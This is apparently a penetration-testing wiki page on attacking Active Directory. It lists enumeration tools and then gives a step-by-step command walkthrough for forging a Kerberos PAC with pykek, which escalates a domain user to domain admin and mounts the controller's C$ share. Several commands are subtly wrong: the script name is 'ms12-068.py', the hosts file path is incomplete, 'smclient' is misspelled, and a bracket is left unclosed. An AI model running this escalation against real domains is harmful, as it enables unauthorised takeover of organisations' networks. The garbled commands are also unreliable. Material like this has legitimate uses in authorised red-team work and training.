Attacking Active Directory

Where can we go, once we are in?

AD Guides and Reference

Active Directory Basics and Collections
Domain Controllers
Domain Groups
Group Policy
AD Certificate Services
Kerberos
Attacking AD
Queries and Commands for Active Directory
pageAD Security Checks

The Active Directory Mapping tool. Used by Red and Blue teamers to map out their Active Directory environment and look for the shortest path to compromise Domain Admin.

AD Enumeration

https://attl4s.github.io/assets/pdf/Understanding_Active_Directory_Enumeration.pdf

  • ADExplorer by Sysinternals - An advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.

  • ADRecon - ADRecon is a tool which extracts and combines various artifacts (as highlighted below) out of an AD environment.

  • ACLight -A tool for advanced discovery of Privileged Accounts - including Shadow Admins.

  • TruffleSnout - Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration.

  • Snaffler - It gets a list of Windows computers from Active Directory, then spreads out its snaffly appendages to them all to figure out which ones have file shares, and whether you can read them.

AD Exploitation

Credential Harvesting

Exploitation

Privilege Attribute Certificate vulnerability

  • With basic information on a domain user you can move to a domain admin by editing the PAC

    • #git clone https://github.com/bidord/pykek /opt/pykek

    • # apt-get install krb5-user

    • # apt-get install rdate

    • # rdate -n [domain]

    • # echo [attacker IP][domain controller hostname] >> /etc/host

  • Next we need 4 pieces of information

    • -u username@domain (user@domain1)

    • -d domain controller [domain.controller.test]

    • -p password

    • -s SID (get SID with command “whoami /user”

  • Now that we have all the pieces

    • #cd /opt/pykek

    • #python ms12-068.py -d domain.controller.test -u user@domain1 -s [SID] -p [password

  • We have created a credential cache ticket and now we copy it where it needs to go

    • #cp TGT_user@domain1.ccache /tmp/krb5cc_0

  • Now you have access with

    • #smclient -k -W domain1 //domain.controller.test/c$ -k

Abusing Delegation

Abusing Constrained Delegation
Abusing Unconstrained Delegation

Attacking Domain Trusts

Attacking Domain Trusts

Privileges and Permissions

Privileges and Permissions

Misconfigurations

DCShadow

DCShadow

Specific Vulnerabilities

Specific Vulnerabilities

Special AD Target

Unsupported OS

Microsoft SQL Server

Red Forest

Exchange

Last updated